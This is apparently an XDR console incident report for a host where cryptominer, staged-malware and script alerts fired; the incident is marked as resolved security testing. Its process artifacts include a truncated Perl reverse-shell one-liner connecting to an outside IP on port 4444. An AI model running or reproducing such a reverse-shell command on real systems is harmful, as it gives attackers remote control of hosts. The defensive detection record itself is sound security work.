HIGH 'Script Activity - 1355359002' along with 5 other issues

RESOLVED SECURITY TESTING ID: #3595 | Created: 2026-02-07 22:34:16
XDR Console
6
Alerts
1
Hosts
14
Files
0
Network
Incident Overview

'Script Activity - 1355359002' along with 5 other issues generated by XDR Agent and XDR BIOC detected on host in-bridge-40 involving 2 users

6
2026-02-08 01:40
Unassigned
XDR Agent, XDR BIOC
Malware Execution
Affected Hosts & Users
root in-bridge-40\dsst
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0002 - Execution TA0040 - Impact
T1496 - Resource Hijacking T1059.004 - Command and Scripting Interpreter: Unix Shell T1140 - Deobfuscate/Decode Files or Information T1036.004 - Masquerading: Masquerade Task or Service
File Artifacts 14
File Name Path SHA256 Signature Verdict Actions
sshd - 090ecdb53316ebadc17949e4699540588dcb0896dbb0a8ae93da72a8e20ad781 SIGNATURE_UNAVAILABLE UNKNOWN VT
98-reboot-required - ede15e980ec54e7211923a42b77531ee06a15e2a728f645004b4c0fff3d660f7 SIGNATURE_UNAVAILABLE UNKNOWN VT
run-parts - 6662ac8211738cab5e9c8138f92c9f54319a1892ec3da24f47620d46963671a8 SIGNATURE_UNAVAILABLE UNKNOWN VT
update-motd-fsck-at-reboot - 88b40e43ddc24e66a2056388ac737f018af1cf92ce878431927226ced511f731 SIGNATURE_UNAVAILABLE UNKNOWN VT
cat - 210ffa7daedb3ef6e9230d391e9a10043699ba81080ebf40c6de70ed77e278ba SIGNATURE_UNAVAILABLE UNKNOWN VT
update-motd-reboot-required - e18f8d28bdff7d892991fb2c9d723964672f651225aaf03fe3848c215da1ecbe SIGNATURE_UNAVAILABLE UNKNOWN VT
sh - 4f291296e89b784cd35479fca606f228126e3641f5bcaee68dee36583d7c9483 SIGNATURE_UNAVAILABLE UNKNOWN VT
bash - 59474588a312b6b6e73e5a42a59bf71e62b55416b6c9d5e4a6e1c630c2a9ecd4 SIGNATURE_UNAVAILABLE UNKNOWN VT
date - 08b85d43067bcd15edb0882d5372a8b5635e211f76b62ccc4d575f2ed4920e18 SIGNATURE_UNAVAILABLE UNKNOWN VT
nslookup - 40bd5baf3026db0fefe830909c500ba3b6e78d856f6757b3f2fd116d2ce8a564 SIGNATURE_UNAVAILABLE UNKNOWN VT
timeout - 8d21b4cf1b204cc2387377a63c542ecdd0ae0895613db67ceb7da1e253110741 SIGNATURE_UNAVAILABLE UNKNOWN VT
python3 - 5ea655542025bb2bbf1036b59546f860d1400fda31456a83e22e688ce40a047d SIGNATURE_UNAVAILABLE UNKNOWN VT
perl - 367271e451185cad9ba61d13aa9bcbc60f880814eb77e171cbecf05f9077badd SIGNATURE_UNAVAILABLE UNKNOWN VT
sleep - b9aec374a2b2a175a182f615291ad408820b7fb8c663a184e37fa3492d3f8eff SIGNATURE_UNAVAILABLE UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 6
Process Command Line Parent Process User
sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups sshd root
sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups sshd root
sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups sshd root
timeout timeout 2 perl -e use Socket;$i="122.179.10.10";$p=4444;socket(S,PF_INET,SOCK_ST... sshd in-bridge-40\dsst
sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups sshd root
sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups sshd root
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
6
Alerts
1
Hosts
14
Files
0
Network
Alert Categories
Malware Execution
Timeline
02-08 01:40:10
Incident Modified
Status or details updated
02-08 01:40:10
Incident Resolved
resolved security testing
02-08 01:33:16
Cryptominers Protection - 2770096900
high - Detected (Reported)
02-08 01:33:16
Cryptominers Protection - 2770096900
high - Detected (Reported)
02-08 01:33:16
Cryptominers Protection - 2770096900
high - Prevented (Blocked)
02-08 01:32:31
Perl script connecting to network
medium - Detected
02-07 23:03:05
Staged Malware Activity - 192330647
high - Prevented (Blocked)
02-07 22:34:16
Incident Created
#3595 - 'Script Activity - 1355359002' along with 5 other issues
02-07 22:34:16
sshd
Verdict: Unknown
02-07 22:34:16
98-reboot-required
Verdict: Unknown
02-07 22:34:16
run-parts
Verdict: Unknown
02-07 22:34:16
update-motd-fsck-at-reboot
Verdict: Unknown
02-07 22:34:16
cat
Verdict: Unknown
02-07 22:34:16
update-motd-reboot-required
Verdict: Unknown
02-07 22:34:16
sh
Verdict: Unknown
02-07 22:34:16
bash
Verdict: Unknown
02-07 22:34:16
date
Verdict: Unknown
02-07 22:34:16
nslookup
Verdict: Unknown
02-07 22:34:09
Script Activity - 1355359002
high - Detected (Reported)